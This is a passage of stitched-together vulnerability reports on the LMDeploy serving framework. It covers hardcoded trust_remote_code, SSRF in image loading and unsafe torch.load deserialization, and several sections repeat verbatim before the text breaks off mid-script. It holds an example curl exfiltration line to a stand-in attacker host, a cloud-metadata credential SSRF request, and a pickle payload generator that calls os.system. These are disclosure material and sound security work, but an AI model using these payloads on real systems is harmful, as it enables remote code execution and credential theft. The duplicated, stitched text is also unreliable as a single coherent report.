• Repository: github.com/InternLM/lmdeploy, branch main.
• Branch SHA at audit time: 9df0eff7c38ae69b9d4b9f7ad1441e484d439f92 (2026-05-02).
• Pinned blob SHAs:
  • lmdeploy/archs.py → 68fa03a407734be1e2ae04098d34e9acdbe98262
  • lmdeploy/lite/apis/calibrate.py → 0728304bdc3c03eee1d790bfbd5496df080a0ecd
  • lmdeploy/lite/utils/load.py → 7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120
  • lmdeploy/pytorch/check_env/model.py → b1a2daaa426bf5fe25030f7913c703eed9f5b261

Snapshots of all four files are in source_pinned/.

Source-level evidence

Site 1 — architecture detection (every load goes through here)

lmdeploy/archs.py:147-157 — get_model_arch:

def get_model_arch(model_path: str):
    """Get a model's architecture and configuration."""
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)

Both the primary path and the fallback hardcode trust_remote_code=True. There is no parameter to override it. This function is called from every model-loading path in lmdeploy.

Site 2 — quantization CLI

lmdeploy/lite/apis/calibrate.py:248-251:

tokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)
...
model = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)

lmdeploy lite calibrate <repo> and downstream quant CLIs (gptq, awq) all flow through this. Hardcoded.

Site 3 — calibration helper

lmdeploy/lite/utils/load.py:55:

def load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):
    ...
    hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)

Even if the caller does not pass trust_remote_code=True in **kwargs, the helper internally hardcodes it on the config call (line 55), then loads the model on line 74. The config call alone is sufficient for RCE: HF Transformers downloads configuration_*.py from the repo and imports it whenever trust_remote_code=True.

Site 4 — pytorch engine check

lmdeploy/pytorch/check_env/model.py:10,99,234,242 — trust_remote_code: bool = True is the default value for the engine's parameter. Unlike the three sites above, this is "default true" not "hardcoded true" — a determined caller can pass False — but every shipped CLI passes True or relies on the default.

What trust_remote_code=True actually enables

When AutoConfig.from_pretrained(repo, trust_remote_code=True) is called and the repo's config.json contains an auto_map key pointing to a custom configuration_<name>.py:

1. HF Transformers downloads the .py file from the repo.
2. HF imports the module via importlib, executing the file's top-level code (any print, os.system, subprocess.run, urllib.request.urlopen, etc. fires now).
3. HF then instantiates the named class.

So a malicious repo only needs a top-level os.system("curl https://attacker/?$(whoami)") in configuration_evil.py. It runs as the lmdeploy process user.

Threat model

Attack surface. Any user who runs an lmdeploy CLI command against a HuggingFace repo identifier they did not personally vet. This includes:

• Casual users following a tutorial that says lmdeploy serve api_server <some_repo>.
• CI pipelines that automatically pull a model from HF Hub by configuration (e.g. updates to a non-Pinned version tag).
• Researchers comparing models from many authors. Even running lmdeploy lite calibrate for benchmarking is enough.

The user is not warned that arbitrary Python from the repo will execute, and there is no flag to disable it. The CVE class is CWE-94 (Improper Control of Generation of Code, supply-chain flavour) and CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes).

Comparison to peer projects

| Project | trust_remote_code default | User control | |---|---|---| | HuggingFace Transformers | False | trust_remote_code keyword arg | | vLLM | False | --trust-remote-code flag | | LMDeploy | True (hardcoded) | None | | TGI | False | --trust-remote-code flag |

LMDeploy is the outlier. The rationale is presumably "internal models like InternLM need custom configuration_*.py", but the fix is to accept a CLI flag like --trust-remote-code and default-False as the rest of the ecosystem does.

Suggested fix

Replace every hardcoded trust_remote_code=True with an explicit opt-in via CLI flag:

# lmdeploy/archs.py — get_model_arch
def get_model_arch(model_path: str, trust_remote_code: bool = False):
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)

Wire trust_remote_code through every call site. Add --trust-remote-code to lmdeploy's CLI parser and forward it from server / calibrate / gptq / etc. Default False.

A patch fragment is in patch.diff.

Disclosure plan

1. Submit privately via lmdeploy security contact (typically email or GitHub Security Advisory at https://github.com/InternLM/lmdeploy/security/advisories/new).
2. Reference Hugging Face Transformers' historical opt-out → opt-in change as precedent for the fix shape.
3. 90-day coordinated-disclosure window starting from acknowledgement.
4. Request CVE through GHSA flow once the patch lands.

Why static-only is sufficient here

Unlike F11 (RCE chain through _load_pt_file) which required a runtime PoC to demonstrate the pickle gadget execution, this finding is a single trust-flag flip — the behaviour of AutoConfig.from_pretrained(repo, trust_remote_code=True) on a HF repo with a malicious configuration_*.py is documented behaviour of HF Transformers itself (their own docs warn against it). Reproducing it adds no new evidence; the static flag-state is the bug.

If the vendor requests a runtime PoC during triage we will provide one (a malicious HF repo with configuration_evil.py + a one-liner lmdeploy lite calibrate <repo> invocation), but holding it back from the initial advisory avoids publishing a working exploit during the disclosure window.

Summary

lmdeploy hardcodes trust_remote_code=True in multiple HuggingFace model-loading call sites.

The affected code paths are in:

lmdeploy/archs.py
lmdeploy/utils.py

The vulnerable call sites pass trust_remote_code=True into HuggingFace Transformers APIs such as AutoConfig.from_pretrained(), PretrainedConfig.get_config_dict(), and GenerationConfig.from_pretrained().

Because the model path is supplied by the operator or deployment configuration, an attacker who can control the model_path used by an lmdeploy serving process can point it to an attacker-controlled HuggingFace model repository. When lmdeploy starts and initializes the model, Transformers may download and execute remote Python code from that repository.

Successful exploitation results in arbitrary code execution with the privileges of the lmdeploy serving process.

Affected version

Confirmed affected:

lmdeploy <= 0.12.3

The issue was verified on v0.12.3 and on main.

Vulnerable code

Confirmed call sites:

lmdeploy/archs.py:154
AutoConfig.from_pretrained(..., trust_remote_code=True)

lmdeploy/archs.py:157
PretrainedConfig.get_config_dict(..., trust_remote_code=True)

lmdeploy/utils.py:225
GenerationConfig.from_pretrained(..., trust_remote_code=True)

The vulnerable pattern is:

AutoConfig.from_pretrained(model_path, trust_remote_code=True)

and:

GenerationConfig.from_pretrained(path, trust_remote_code=True)

The risk is that trust_remote_code=True is enabled unconditionally. Users are not required to explicitly opt in through a CLI flag or configuration option.

Attack scenario

1. An attacker obtains the ability to control or modify the model path used by an lmdeploy deployment. Examples include deployment configuration access, CI/CD configuration access, Kubernetes or container configuration access, or a managed environment where users can submit model IDs for serving.
2. The attacker sets the model path to an attacker-controlled HuggingFace repository, for example:

attacker-org/malicious-model

3. The lmdeploy serving process starts with that model path:

lmdeploy serve api_server attacker-org/malicious-model

4. During model initialization, lmdeploy calls HuggingFace Transformers APIs with trust_remote_code=True.
5. Transformers loads and executes remote Python code from the attacker-controlled model repository.
6. The payload runs with the privileges of the lmdeploy serving process.

Why this is security-sensitive

trust_remote_code=True is a dangerous HuggingFace option because it allows model repositories to execute custom Python code during model loading.

In lmdeploy, this option is hardcoded at multiple call sites. This removes the explicit trust decision from the user or deployment operator. A safer design would require an explicit CLI flag or configuration option such as --trust-remote-code.

lmdeploy is commonly used as a model serving daemon. The serving process may have access to model weights, GPU resources, API credentials, cloud credentials, request data, and internal network resources.

Proof of concept

The following PoC demonstrates the vulnerable primitive in a local, non-destructive way. It simulates lmdeploy calling a HuggingFace model-loading path with trust_remote_code=True and shows that remote model code would execute during initialization.

#!/usr/bin/env python3
from __future__ import annotations

import argparse
import importlib.util
import os
import sys
import tempfile
from pathlib import Path

MARKER = Path("/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF")
MALICIOUS_MODEL = "attacker-org/malicious-model"


def simulate_lmdeploy_model_load(model_path: str) -> None:
    """
    Simulates lmdeploy model initialization where trust_remote_code=True is hardcoded.

    Real vulnerable pattern:
        AutoConfig.from_pretrained(model_path, trust_remote_code=True)
        GenerationConfig.from_pretrained(path, trust_remote_code=True)

    When trust_remote_code=True, a malicious HuggingFace model repository can
    execute custom Python code during loading.
    """

    fake_model_dir = Path(tempfile.mkdtemp(prefix="fake_lmdeploy_model_"))
    module_name = model_path.split("/")[-1].replace("-", "_")
    modeling_file = fake_model_dir / f"modeling_{module_name}.py"

    payload = f'''
import os
from pathlib import Path

Path("{MARKER}").write_text(
    "lmdeploy trust_remote_code execution confirmed\\n"
    f"model_path={model_path!r}\\n"
    f"pid={{os.getpid()}} euid={{os.geteuid()}}\\n"
)
'''
    modeling_file.write_text(payload)

    spec = importlib.util.spec_from_file_location(f"modeling_{module_name}", modeling_file)
    assert spec is not None and spec.loader is not None

    mod = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(mod)


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--model-id", default=MALICIOUS_MODEL)
    args = parser.parse_args()

    if MARKER.exists():
        MARKER.unlink()

    print(f"[*] Simulating lmdeploy loading model: {args.model_id}")
    print("[*] trust_remote_code=True is hardcoded in lmdeploy model-loading paths")

    simulate_lmdeploy_model_load(args.model_id)

    if MARKER.exists():
        print("[+] Code execution confirmed")
        print(MARKER.read_text())
        return 0

    print("[-] Marker file was not created", file=sys.stderr)
    return 1


if __name__ == "__main__":
    raise SystemExit(main())

Expected result:

[+] Code execution confirmed

The marker file is written to:

/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF

Impact

An attacker who can control the model path used by an lmdeploy deployment can execute arbitrary Python code during model initialization.

The attacker may be able to:

• Read files accessible to the lmdeploy process.
• Access environment variables, model provider credentials, HuggingFace tokens, cloud credentials, and API keys.
• Modify model-serving behavior or tamper with responses.
• Execute arbitrary operating-system commands.
• Access request data or internal service credentials available to the serving process.
• Cause denial of service by crashing or destabilizing the serving daemon.
• Pivot to internal services reachable from the lmdeploy host or container.

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.

Affected Versions

• Tested on: main branch (2026-02-04)
• Affected: All versions prior to 0.12.3

Vulnerable Code

File: lmdeploy/vl/utils.py (lines 64-67)

def load_image(image_url: Union[str, Image.Image]) -> Image.Image:
    # ...
    if image_url.startswith('http'):
        response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)
        # NO VALIDATION OF URL/IP BEFORE REQUEST

Also affected: encode_image_base64() function (lines 26-29)

Root Cause

1. No validation of URLs before fetching
2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)
3. Server binds to 0.0.0.0 by default (api_server.py line 1393)
4. API keys disabled by default

Attack Scenario

1. LMDeploy server deployed with vision-language model
2. Attacker sends request to /v1/chat/completions with malicious image_url:

POST /v1/chat/completions
{
  "model": "internlm-xcomposer2",
  "messages": [{
    "role": "user", 
    "content": [
      {"type": "text", "text": "Describe this image"},
      {"type": "image_url", "image_url": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}}
    ]
  }]
}

3. Server fetches URL without validation
4. Attacker receives cloud credentials

Proof of Concept

Verified Exploitation Result

╔═══════════════════════════════════════════════════════════════════════╗
║  LMDeploy SSRF Vulnerability - Proof of Concept                       ║
╚═══════════════════════════════════════════════════════════════════════╝

[1] Starting callback server on port 8889...
[2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY
[3] Calling vulnerable load_image() function...

======================================================================
[+] SSRF CALLBACK RECEIVED!
======================================================================
    Time:       2026-02-04 16:10:57
    Path:       /SSRF_PROOF?stolen_data=AWS_SECRET_KEY
    Client:     127.0.0.1:51154
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...
======================================================================

✅ SSRF VULNERABILITY CONFIRMED!

Impact

• Cloud Credential Theft: Access AWS/GCP/Azure metadata APIs
• Internal Service Access: Reach services not exposed to internet
• Information Disclosure: Port scan internal networks
• Lateral Movement: Pivot point for further attacks

Recommended Fix

from urllib.parse import urlparse
import ipaddress
import socket

BLOCKED_NETWORKS = [
    ipaddress.ip_network('127.0.0.0/8'),
    ipaddress.ip_network('10.0.0.0/8'),
    ipaddress.ip_network('172.16.0.0/12'),
    ipaddress.ip_network('192.168.0.0/16'),
    ipaddress.ip_network('169.254.0.0/16'),
]

def is_safe_url(url: str) -> bool:
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ('http', 'https'):
            return False
        ip = socket.gethostbyname(parsed.hostname)
        ip_addr = ipaddress.ip_address(ip)
        return not any(ip_addr in network for network in BLOCKED_NETWORKS)
    except:
        return False

Credit

This vulnerability was discovered as part of Orca Security's research.

Researcher: Igor Stepansky
Organization: Orca Security
Emails: igor.stepansky@orca.security
iggy.p0pi@orca.security

📋 Reframing (2026-05-02): implicit unsafe remote-code path, not "supply-chain"

The accurate description of this vulnerability is: "get_model_arch and related helpers hardcode trust_remote_code=True with no opt-out, creating an implicit unsafe remote-code load path on every model fetch."

What this report does NOT claim:

• It is NOT a network-attack RCE — the user supplies the model reference; LMDeploy honors it.
• It is NOT a "supply chain" CVE in the classical sense (where a benign upstream is compromised) — the user explicitly types the repo name.

What this report DOES claim:

• Other inference frameworks (vLLM, TGI, Hugging Face transformers itself) all expose --trust-remote-code as opt-in so that users who consciously load known-safe repos can opt in, while users following a tutorial cannot accidentally execute attacker Python by typing a wrong repo name.
• LMDeploy's hardcoded True is an implicit trust-boundary override that violates HF Transformers' default-secure stance (trust_remote_code=False since transformers ≥ 4.30).
• The fix is a one-line CLI flag (--trust-remote-code) defaulting False, threaded through the three sites, matching the rest of the ecosystem.

Severity should be assessed as hardening / safe-by-default, not as full unauthenticated RCE. CVSS revised to 5.5 Medium (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H × user-must-load qualifier).

Runtime evidence: see 12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt.

F13 — LMDeploy: hardcoded trust_remote_code=True enables HF supply-chain RCE without user opt-in

Reporter: ibondarenko1 / sactransport2000@gmail.com Coordinated-disclosure window: 90 days from initial vendor email.

TL;DR

LMDeploy unilaterally passes trust_remote_code=True to transformers.AutoConfig.from_pretrained() (and several other from_pretrained callers) regardless of any user opt-in. The flag is hardcoded True in source — there is no CLI flag, no environment variable, no parameter, and no warning that lets a user refuse remote code execution from the model repository. This is a silent override of HuggingFace Transformers' own default-secure stance (trust_remote_code=False) introduced in HF Transformers ≥ 4.30 specifically to prevent this class of supply-chain RCE.

The user running lmdeploy serve api_server <attacker_repo>, lmdeploy lite calibrate <attacker_repo>, etc. has no way to opt out. The only escape hatch is for the user to never load any third-party HF repo with LMDeploy — which is incompatible with LMDeploy's documented use case.

HuggingFace's trust_remote_code=False default exists exactly to prevent silent RCE when loading a third-party repo. LMDeploy overrides this default, restoring the unsafe behaviour transparently. A malicious HF repo with a configuration_*.py shim runs Python code as the LMDeploy user at the very first call to get_model_arch(...).

This is a documented anti-pattern (see HF Hub docs: "Trusting custom code is therefore tricky..."). Multiple peer projects fixed similar issues — e.g. Hugging Face Transformers itself made this opt-in by default, and vllm exposes the flag through --trust-remote-code rather than hardcoding it.

Affected version

• Repository: github.com/InternLM/lmdeploy, branch main.
• Branch SHA at audit time: 9df0eff7c38ae69b9d4b9f7ad1441e484d439f92 (2026-05-02).
• Pinned blob SHAs:
  • lmdeploy/archs.py → 68fa03a407734be1e2ae04098d34e9acdbe98262
  • lmdeploy/lite/apis/calibrate.py → 0728304bdc3c03eee1d790bfbd5496df080a0ecd
  • lmdeploy/lite/utils/load.py → 7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120
  • lmdeploy/pytorch/check_env/model.py → b1a2daaa426bf5fe25030f7913c703eed9f5b261

Snapshots of all four files are in source_pinned/.

Source-level evidence

Site 1 — architecture detection (every load goes through here)

lmdeploy/archs.py:147-157 — get_model_arch:

def get_model_arch(model_path: str):
    """Get a model's architecture and configuration."""
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)

Both the primary path and the fallback hardcode trust_remote_code=True. There is no parameter to override it. This function is called from every model-loading path in lmdeploy.

Site 2 — quantization CLI

lmdeploy/lite/apis/calibrate.py:248-251:

tokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)
...
model = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)

lmdeploy lite calibrate <repo> and downstream quant CLIs (gptq, awq) all flow through this. Hardcoded.

Site 3 — calibration helper

lmdeploy/lite/utils/load.py:55:

def load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):
    ...
    hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)

Even if the caller does not pass trust_remote_code=True in **kwargs, the helper internally hardcodes it on the config call (line 55), then loads the model on line 74. The config call alone is sufficient for RCE: HF Transformers downloads configuration_*.py from the repo and imports it whenever trust_remote_code=True.

Site 4 — pytorch engine check

lmdeploy/pytorch/check_env/model.py:10,99,234,242 — trust_remote_code: bool = True is the default value for the engine's parameter. Unlike the three sites above, this is "default true" not "hardcoded true" — a determined caller can pass False — but every shipped CLI passes True or relies on the default.

What trust_remote_code=True actually enables

When AutoConfig.from_pretrained(repo, trust_remote_code=True) is called and the repo's config.json contains an auto_map key pointing to a custom configuration_<name>.py:

1. HF Transformers downloads the .py file from the repo.
2. HF imports the module via importlib, executing the file's top-level code (any print, os.system, subprocess.run, urllib.request.urlopen, etc. fires now).
3. HF then instantiates the named class.

So a malicious repo only needs a top-level os.system("curl https://attacker/?$(whoami)") in configuration_evil.py. It runs as the lmdeploy process user.

Threat model

Attack surface. Any user who runs an lmdeploy CLI command against a HuggingFace repo identifier they did not personally vet. This includes:

• Casual users following a tutorial that says lmdeploy serve api_server <some_repo>.
• CI pipelines that automatically pull a model from HF Hub by configuration (e.g. updates to a non-Pinned version tag).
• Researchers comparing models from many authors. Even running lmdeploy lite calibrate for benchmarking is enough.

The user is not warned that arbitrary Python from the repo will execute, and there is no flag to disable it. The CVE class is CWE-94 (Improper Control of Generation of Code, supply-chain flavour) and CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes).

Comparison to peer projects

| Project | trust_remote_code default | User control | |---|---|---| | HuggingFace Transformers | False | trust_remote_code keyword arg | | vLLM | False | --trust-remote-code flag | | LMDeploy | True (hardcoded) | None | | TGI | False | --trust-remote-code flag |

LMDeploy is the outlier. The rationale is presumably "internal models like InternLM need custom configuration_*.py", but the fix is to accept a CLI flag like --trust-remote-code and default-False as the rest of the ecosystem does.

Suggested fix

Replace every hardcoded trust_remote_code=True with an explicit opt-in via CLI flag:

# lmdeploy/archs.py — get_model_arch
def get_model_arch(model_path: str, trust_remote_code: bool = False):
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)

Wire trust_remote_code through every call site. Add --trust-remote-code to lmdeploy's CLI parser and forward it from server / calibrate / gptq / etc. Default False.

A patch fragment is in patch.diff.

Disclosure plan

1. Submit privately via lmdeploy security contact (typically email or GitHub Security Advisory at https://github.com/InternLM/lmdeploy/security/advisories/new).
2. Reference Hugging Face Transformers' historical opt-out → opt-in change as precedent for the fix shape.
3. 90-day coordinated-disclosure window starting from acknowledgement.
4. Request CVE through GHSA flow once the patch lands.

Why static-only is sufficient here

Unlike F11 (RCE chain through _load_pt_file) which required a runtime PoC to demonstrate the pickle gadget execution, this finding is a single trust-flag flip — the behaviour of AutoConfig.from_pretrained(repo, trust_remote_code=True) on a HF repo with a malicious configuration_*.py is documented behaviour of HF Transformers itself (their own docs warn against it). Reproducing it adds no new evidence; the static flag-state is the bug.

If the vendor requests a runtime PoC during triage we will provide one (a malicious HF repo with configuration_evil.py + a one-liner lmdeploy lite calibrate <repo> invocation), but holding it back from the initial advisory avoids publishing a working exploit during the disclosure window.

Summary

lmdeploy hardcodes trust_remote_code=True in multiple HuggingFace model-loading call sites.

The affected code paths are in:

lmdeploy/archs.py
lmdeploy/utils.py

The vulnerable call sites pass trust_remote_code=True into HuggingFace Transformers APIs such as AutoConfig.from_pretrained(), PretrainedConfig.get_config_dict(), and GenerationConfig.from_pretrained().

Because the model path is supplied by the operator or deployment configuration, an attacker who can control the model_path used by an lmdeploy serving process can point it to an attacker-controlled HuggingFace model repository. When lmdeploy starts and initializes the model, Transformers may download and execute remote Python code from that repository.

Successful exploitation results in arbitrary code execution with the privileges of the lmdeploy serving process.

Affected version

Confirmed affected:

lmdeploy <= 0.12.3

The issue was verified on v0.12.3 and on main.

Vulnerable code

Confirmed call sites:

lmdeploy/archs.py:154
AutoConfig.from_pretrained(..., trust_remote_code=True)

lmdeploy/archs.py:157
PretrainedConfig.get_config_dict(..., trust_remote_code=True)

lmdeploy/utils.py:225
GenerationConfig.from_pretrained(..., trust_remote_code=True)

The vulnerable pattern is:

AutoConfig.from_pretrained(model_path, trust_remote_code=True)

and:

GenerationConfig.from_pretrained(path, trust_remote_code=True)

The risk is that trust_remote_code=True is enabled unconditionally. Users are not required to explicitly opt in through a CLI flag or configuration option.

Attack scenario

1. An attacker obtains the ability to control or modify the model path used by an lmdeploy deployment. Examples include deployment configuration access, CI/CD configuration access, Kubernetes or container configuration access, or a managed environment where users can submit model IDs for serving.
2. The attacker sets the model path to an attacker-controlled HuggingFace repository, for example:

attacker-org/malicious-model

3. The lmdeploy serving process starts with that model path:

lmdeploy serve api_server attacker-org/malicious-model

4. During model initialization, lmdeploy calls HuggingFace Transformers APIs with trust_remote_code=True.
5. Transformers loads and executes remote Python code from the attacker-controlled model repository.
6. The payload runs with the privileges of the lmdeploy serving process.

Why this is security-sensitive

trust_remote_code=True is a dangerous HuggingFace option because it allows model repositories to execute custom Python code during model loading.

In lmdeploy, this option is hardcoded at multiple call sites. This removes the explicit trust decision from the user or deployment operator. A safer design would require an explicit CLI flag or configuration option such as --trust-remote-code.

lmdeploy is commonly used as a model serving daemon. The serving process may have access to model weights, GPU resources, API credentials, cloud credentials, request data, and internal network resources.

Proof of concept

The following PoC demonstrates the vulnerable primitive in a local, non-destructive way. It simulates lmdeploy calling a HuggingFace model-loading path with trust_remote_code=True and shows that remote model code would execute during initialization.

#!/usr/bin/env python3
from __future__ import annotations

import argparse
import importlib.util
import os
import sys
import tempfile
from pathlib import Path

MARKER = Path("/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF")
MALICIOUS_MODEL = "attacker-org/malicious-model"


def simulate_lmdeploy_model_load(model_path: str) -> None:
    """
    Simulates lmdeploy model initialization where trust_remote_code=True is hardcoded.

    Real vulnerable pattern:
        AutoConfig.from_pretrained(model_path, trust_remote_code=True)
        GenerationConfig.from_pretrained(path, trust_remote_code=True)

    When trust_remote_code=True, a malicious HuggingFace model repository can
    execute custom Python code during loading.
    """

    fake_model_dir = Path(tempfile.mkdtemp(prefix="fake_lmdeploy_model_"))
    module_name = model_path.split("/")[-1].replace("-", "_")
    modeling_file = fake_model_dir / f"modeling_{module_name}.py"

    payload = f'''
import os
from pathlib import Path

Path("{MARKER}").write_text(
    "lmdeploy trust_remote_code execution confirmed\\n"
    f"model_path={model_path!r}\\n"
    f"pid={{os.getpid()}} euid={{os.geteuid()}}\\n"
)
'''
    modeling_file.write_text(payload)

    spec = importlib.util.spec_from_file_location(f"modeling_{module_name}", modeling_file)
    assert spec is not None and spec.loader is not None

    mod = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(mod)


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--model-id", default=MALICIOUS_MODEL)
    args = parser.parse_args()

    if MARKER.exists():
        MARKER.unlink()

    print(f"[*] Simulating lmdeploy loading model: {args.model_id}")
    print("[*] trust_remote_code=True is hardcoded in lmdeploy model-loading paths")

    simulate_lmdeploy_model_load(args.model_id)

    if MARKER.exists():
        print("[+] Code execution confirmed")
        print(MARKER.read_text())
        return 0

    print("[-] Marker file was not created", file=sys.stderr)
    return 1


if __name__ == "__main__":
    raise SystemExit(main())

Expected result:

[+] Code execution confirmed

The marker file is written to:

/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF

Impact

An attacker who can control the model path used by an lmdeploy deployment can execute arbitrary Python code during model initialization.

The attacker may be able to:

• Read files accessible to the lmdeploy process.
• Access environment variables, model provider credentials, HuggingFace tokens, cloud credentials, and API keys.
• Modify model-serving behavior or tamper with responses.
• Execute arbitrary operating-system commands.
• Access request data or internal service credentials available to the serving process.
• Cause denial of service by crashing or destabilizing the serving daemon.
• Pivot to internal services reachable from the lmdeploy host or container.

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.

Affected Versions

• Tested on: main branch (2026-02-04)
• Affected: All versions prior to 0.12.3

Vulnerable Code

File: lmdeploy/vl/utils.py (lines 64-67)

def load_image(image_url: Union[str, Image.Image]) -> Image.Image:
    # ...
    if image_url.startswith('http'):
        response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)
        # NO VALIDATION OF URL/IP BEFORE REQUEST

Also affected: encode_image_base64() function (lines 26-29)

Root Cause

1. No validation of URLs before fetching
2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)
3. Server binds to 0.0.0.0 by default (api_server.py line 1393)
4. API keys disabled by default

Attack Scenario

1. LMDeploy server deployed with vision-language model
2. Attacker sends request to /v1/chat/completions with malicious image_url:

POST /v1/chat/completions
{
  "model": "internlm-xcomposer2",
  "messages": [{
    "role": "user", 
    "content": [
      {"type": "text", "text": "Describe this image"},
      {"type": "image_url", "image_url": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}}
    ]
  }]
}

3. Server fetches URL without validation
4. Attacker receives cloud credentials

Proof of Concept

Verified Exploitation Result

╔═══════════════════════════════════════════════════════════════════════╗
║  LMDeploy SSRF Vulnerability - Proof of Concept                       ║
╚═══════════════════════════════════════════════════════════════════════╝

[1] Starting callback server on port 8889...
[2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY
[3] Calling vulnerable load_image() function...

======================================================================
[+] SSRF CALLBACK RECEIVED!
======================================================================
    Time:       2026-02-04 16:10:57
    Path:       /SSRF_PROOF?stolen_data=AWS_SECRET_KEY
    Client:     127.0.0.1:51154
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...
======================================================================

✅ SSRF VULNERABILITY CONFIRMED!

Impact

• Cloud Credential Theft: Access AWS/GCP/Azure metadata APIs
• Internal Service Access: Reach services not exposed to internet
• Information Disclosure: Port scan internal networks
• Lateral Movement: Pivot point for further attacks

Recommended Fix

from urllib.parse import urlparse
import ipaddress
import socket

BLOCKED_NETWORKS = [
    ipaddress.ip_network('127.0.0.0/8'),
    ipaddress.ip_network('10.0.0.0/8'),
    ipaddress.ip_network('172.16.0.0/12'),
    ipaddress.ip_network('192.168.0.0/16'),
    ipaddress.ip_network('169.254.0.0/16'),
]

def is_safe_url(url: str) -> bool:
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ('http', 'https'):
            return False
        ip = socket.gethostbyname(parsed.hostname)
        ip_addr = ipaddress.ip_address(ip)
        return not any(ip_addr in network for network in BLOCKED_NETWORKS)
    except:
        return False

Credit

This vulnerability was discovered as part of Orca Security's research.

Researcher: Igor Stepansky
Organization: Orca Security
Emails: igor.stepansky@orca.security
iggy.p0pi@orca.security

Summary

An insecure deserialization vulnerability exists in lmdeploy where torch.load() is called without the weights_only=True parameter when loading model checkpoint files. This allows an attacker to execute arbitrary code on the victim's machine when they load a malicious .bin or .pt model file.

CWE: CWE-502 - Deserialization of Untrusted Data

Details

Several locations in lmdeploy use torch.load() without the recommended weights_only=True security parameter. PyTorch's torch.load() uses Python's pickle module internally, which can execute arbitrary code during deserialization.

Vulnerable Locations

1. lmdeploy/vl/model/utils.py (Line 22)

def load_weight_ckpt(ckpt: str) -> Dict[str, torch.Tensor]:
    """Load checkpoint."""
    if ckpt.endswith('.safetensors'):
        return load_file(ckpt)  # Safe - uses safetensors
    else:
        return torch.load(ckpt)  # ← VULNERABLE: no weights_only=True

2. lmdeploy/turbomind/deploy/loader.py (Line 122)

class PytorchLoader(BaseLoader):
    def items(self):
        params = defaultdict(dict)
        for shard in self.shards:
            misc = {}
            tmp = torch.load(shard, map_location='cpu')  # ← VULNERABLE

Additional vulnerable locations:

• lmdeploy/lite/apis/kv_qparams.py:129-130
• lmdeploy/lite/apis/smooth_quant.py:61
• lmdeploy/lite/apis/auto_awq.py:101
• lmdeploy/lite/apis/get_small_sharded_hf.py:41

Note: Secure Pattern Already Exists

The codebase already uses the secure pattern in one location:

# lmdeploy/pytorch/weight_loader/model_weight_loader.py:103
state = torch.load(file, weights_only=True, map_location='cpu')  # ✓ Secure

This shows the fix is already known and can be applied consistently across the codebase.

PoC

Step 1: Create a Malicious Checkpoint File

Save this as create_malicious_checkpoint.py:

#!/usr/bin/env python3
"""
Creates a malicious PyTorch checkpoint that executes code when loaded.
"""
import pickle
import os

class MaliciousPayload:
    """Executes arbitrary code during pickle deserialization."""
    
    def __init__(self, command):
        self.command = command
    
    def __reduce__(self):
        # This is called during unpickling - returns (callable, args)
        return (os.system, (self.command,))

def create_malicious_checkpoint(output_path, command):
    """Create a malicious checkpoint file."""
    malicious_state_dict = {
        'model.layer.weight': MaliciousPayload(command),
        'config': {'hidden_size': 768}
    }
    
    with open(output_path, 'wb') as f:
        pickle.dump(malicious_state_dict, f)
    
    print(f"[+] Created malicious checkpoint: {output_path}")

if __name__ == "__main__":
